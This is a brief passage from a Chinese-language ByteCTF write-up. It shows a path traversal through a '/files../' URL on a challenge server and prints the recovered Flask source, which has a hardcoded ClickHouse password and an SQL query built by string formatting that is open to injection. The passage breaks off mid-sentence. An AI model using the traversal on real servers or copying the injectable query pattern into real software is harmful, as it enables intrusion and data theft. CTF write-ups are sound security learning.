题目啥都没说
在判断注入点是发现提示
something in files
猜测目录文件里有东西,我们尝试进入files
39.105.175.150:30001/files/
直接这样的话我们只能发现一个图片,经过尝试发现
http://39.105.175.150:30001/files../
这样可以实现路径穿越
经查找发现main.py源码,download下来
app = Flask(__name__)
client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')
@app.route('/')
def cttttf():
id = request.args.get('id',0)
sql = 'select ByteCTF from hello where 1={} '.format(id)
try:
a = client.execute(sql)
except Exception as e:
return str(e)
if len(a) == 0:
return '<a href="/https/blog.csdn.net/files/test.jpg">something in files</a>'
else:
return str(a)[3:-4]
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=80)
里